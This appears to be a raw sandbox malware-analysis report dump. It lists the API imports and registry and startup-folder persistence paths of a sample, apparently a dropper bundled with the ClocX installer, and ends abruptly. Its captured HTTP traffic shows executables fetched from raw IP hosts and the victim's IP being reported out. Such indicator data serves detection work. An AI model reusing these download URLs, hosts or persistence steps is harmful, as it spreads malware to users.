(Indicator: "GetSystemDirectoryW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp") Found reference to API (Indicator: "FtpGetFileSize"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpCommandW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpyW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "UpdateWindow"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpSendRequestExW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetErrorDlg"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetWriteFile"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpSendRequestW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetSetFilePointer"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersA"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpCreateDirectoryW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetCrackUrlW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpOpenFileW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetSetOptionW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetGetLastResponseInfoW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpEndRequestW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpQueryInfoW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetConnectW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetQueryOptionW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpOpenRequestW"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001216.00000000.67526.030AB000.00000004.mdmp") Found reference to API (Indicator: "GetSaveFileNameW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetOpenFileNameW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ExtractIconW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SHGetMalloc"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SHGetDesktopFolder"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "Shell_NotifyIconW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CopyImage"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "MoveWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetMenuItemInfoW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemInfoW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetCaretPos"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetCaretPos"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "FrameRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuStringW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ShowOwnedPopups"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetScrollRange"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DrawEdge"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetCapture"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetCapture"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ShowCaret"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DestroyCaret"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CharLowerBuffW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsZoomed"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetParent"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DrawMenuBar"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsChild"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsIconic"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetAsyncKeyState"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetScrollRange"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "PtInRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetTopWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMessageTime"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CreateMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetWindowRgn"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemCount"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetSysColorBrush"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetScrollInfo"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "EnableScrollBar"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "DrawIconEx"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetIconInfo"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetScrollInfo"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetKeyNameTextW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetCursorPos"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetCursorPos"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuState"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsRectEmpty"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "IsCharAlphaW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetCursor"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CopyRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "WaitMessage"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "TranslateMDISysAccel"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetWindowPlacement"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemRect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CreateIconIndirect"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "GetDCEx"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp, 00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "WTSUnRegisterSessionNotification"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimes"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00006224.00000002.71481.00822000.00000004.mdmp")35:T4c6,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001216.00000000.67526.03060000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001216.00000000.67526.03060000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp36:T822,"regedit /ea alarms.reg HKEY_CURRENT_USER\Software\BonSoft\ClocX\Alarms" in Source: BackupAlarms.bat "Software\Microsoft\Windows\CurrentVersion" in Source: 64692-7-00406594 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 6132-6820-0040EAC0 "ADD HKLM\%s /v %s /t REG_SZ /f /d "\"%s\""" in Source: 6132-6820-0040EAC0 "DELETE HKLM\%s /v %s /f" in Source: 6132-6820-0040EAC0 "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 6132-6208-0040F970 "SOFTWARE\" in Source: 6132-8612-004C1798 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00001216.00000000.67526.00408000.00000002.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00001216.00000000.67526.03060000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001216.00000000.67526.030AB000.00000004.mdmp "Software\Wow6432`" in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp "Software\Wow6432" in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp "sSoftware\Wow6432" in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00006224.00000000.67640.02ED0000.00000004.mdmp 00000000-00006224.00000001.69560.02ED0000.00000004.mdmp 00000000-00006224.00000002.71481.02ED0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00006224.00000000.67640.05470000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00006224.00000000.67640.05470000.00000002.mdmp37:T48a,"bb7917ed8063b9fd1cf3ea57fed87a5a" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "EQxweFwDefVKEdjRSJJROzCN.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "7KVCFfyDvEerh4UVg4DysCjN.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ClocX.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Zip.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "uninst.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Checker.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT38:Td6a,"GET /InstallSetup2.exe HTTP/1.1 Host: 5.42.64.35 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Sat 23 Dec 2023 06:01:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu 21 Dec 2023 15:49:47 GMT ETag: "23dacd-60d070c909cc0" Accept-Ranges: bytes Content-Length: 2349773 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D8000000....... "GET /s/fourt.exe HTTP/1.1 Host: 47.236.140.86 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 23 Dec 2023 06:01:59 GMT Content-Type: application/octet-stream Content-Length: 4544047 Last-Modified: Mon 11 Dec 2023 10:20:16 GMT Connection: keep-alive ETag: "6576e260-45562f" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000C8000000....... "GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat 23 Dec 2023 06:01:59 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C626F6479....... "GET /?format=weg HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: api.ipify.org Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.25.2 Date: Sat 23 Dec 2023 06:02:06 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Vary: Origin with response body ==>36372E3231382E3131312E323032....... "GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 91.92.254.7 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sat 23 Dec 2023 06:02:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /syncUpd.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 5.42.64.35 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sat 23 Dec 2023 06:02:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat 23 Dec 2023 06:00:02 GMT ETag: "54c00-60d270b24e940" Accept-Ranges: bytes Content-Length: 347136 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET / HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Connection: Keep-Alive Cache-Control: no-cache Host: www.zonealarm.com" Response ==> HTTP/1.1 302 Moved Temporarily Location: https://www.zonealarm.com/ Content-Type: text/html Content-Length: 91 Cache-Control: private max-age=900 Date: Sat 23 Dec 2023 06:02:14 GMT Connection: keep-alive with response body ==>3C686561643E3C626F64793E2054686973206F626A656374206D617920626520666F756E64203C6120485245463D2268747470733A2F2F7777772E7A6F6E6561.......39:T3ea4,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 68fc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 68fc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" 